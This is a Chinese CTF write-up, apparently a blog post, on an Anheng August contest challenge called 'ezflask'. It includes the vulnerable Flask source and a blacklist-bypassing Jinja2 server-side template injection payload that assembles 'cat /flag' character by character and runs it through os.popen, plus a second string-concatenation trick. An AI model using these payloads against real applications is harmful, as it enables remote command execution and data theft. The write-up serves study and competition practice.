安恒8月赛

安恒大学

做到时候也是没想到,注入点在邮箱激活那
在这里插入图片描述

ezflask

这题是原题的基础上加了过滤
https://www.anquanke.com/post/id/212808#h3-9
源码如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)

@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

这里可以构造这么一条链

{{self.__dict__._TemplateReference__context.lipsum.__globals__.os.popen}}

但是这里过滤了attr、request、单引号等,所以就需要构造参数拼接

首先需要找到一个%,然后用%c来chr单个字符后拼接cat /flag,payload

http://183.129.189.60:10025/?name={%set pc=self.__dict__._TemplateReference__context|lower|list|trim|unique|sort|slice(25)|list|first|last%}
{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}{%set i1=dict(a=i1,c=udl%(97)).values()|join %}{%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl%(32)).values()|join %}{%set i1=dict(a=i1,c=udl%(47)).values()|join %}{%set i1=dict(a=i1,c=udl%(102)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %}{%set i1=dict(a=i1,c=udl%(97)).values()|join %}{%set i1=dict(a=i1,c=udl%(103)).values()|join %}{{self.__dict__._TemplateReference__context.lipsum.__globals__.os.popen(i1).read()}}

这张图有好多没用的语句,但是环境无了,将就看看
在这里插入图片描述
看了一下发现有另一种拼接方式,如

{%set a=dict(import=1).keys()|reverse|first%}{% set x=(1|map|string|list).pop(20)|string%}{% set s=x*2~a~x*2 %}{{s}}

在这里插入图片描述

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇